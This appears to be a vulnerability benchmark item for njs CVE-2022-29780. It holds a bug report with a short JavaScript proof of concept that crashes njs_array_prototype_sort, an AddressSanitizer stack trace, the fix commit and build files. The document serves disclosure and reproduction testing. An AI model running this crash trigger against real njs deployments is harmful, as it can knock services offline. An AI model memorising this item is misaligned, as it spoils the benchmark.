Project: njs (nginx/njs), language: c++
Vulnerability instance: njs.cve-2022-29780
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/486
## Description:
Issue: nginx/njs#486
Title: SEGV in njs_array_prototype_sort 
State: closed
Created by: xmzyshypnc
Created at: 2022-03-21 02:29:41+00:00
Labels: bug, fuzzer

Issue Body:
# Environment

OS : Linux leanderwang-LC2 5.13.0-30-generic https://github.com/nginx/njs/issues/33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.3
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"

# PoC

```js
function main() {
var empty = {};
var arr1 = [empty,empty];
function func(arg) {
    arr1[0xffff] *= arg;
}
var v5 = arr1.sort(func);
}
main();
```

# Stack dump

```bash
AddressSanitizer:DEADLYSIGNAL
=================================================================
==610159==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7ffff6f91b13 bp 0x7fffffffb3d0 sp 0x7fffffffab48 T0)
==610159==The signal is caused by a WRITE memory access.
==610159==Hint: address points to the zero page.
    #0 0x7ffff6f91b12 in memcpy (/lib/x86_64-linux-gnu/libc.so.6+0xbbb12)
    #1 0x7ffff7688d40 in __asan_memcpy ../../../../src/libsanitizer/asan/asan_interceptors_memintrinsics.cc:21
    #2 0x5555556042ff in njs_array_prototype_sort src/njs_array.c:2704
    #3 0x55555561961c in njs_function_native_call src/njs_function.c:739
    #4 0x5555555bf0fb in njs_vmcode_interpreter src/njs_vmcode.c:788
    #5 0x555555618aba in njs_function_lambda_call src/njs_function.c:703
    #6 0x5555555bf0fb in njs_vmcode_interpreter src/njs_vmcode.c:788
    #7 0x5555555b90ba in njs_vm_start src/njs_vm.c:553
    #8 0x5555555a23f8 in njs_process_script src/njs_shell.c:890
    #9 0x5555555a2ebf in njs_process_file src/njs_shell.c:619
    #10 0x5555555a421f in main src/njs_shell.c:303
    #11 0x7ffff6efa0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
    #12 0x55555559fc4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbbb12) in memcpy
==610159==ABORTING
```

# Credit

xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer)


Comments:
Comment by xeioex on 2022-04-23 00:53:30+00:00:
Fixed in https://github.com/nginx/njs/commit/8b39afdad9a0761e0a5d4af1a762bd9a6daef572

Commit References:
8b39afdad9a0761e0a5d4af1a762bd9a6daef572
f65981b0b8fcf02d69a40bc934803c25c9f607ab

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 675049dc2ce07a06d5e6d65ab8664e49c7659d3a
WORKDIR $SRC/njs
COPY build.sh $SRC/

Additional files: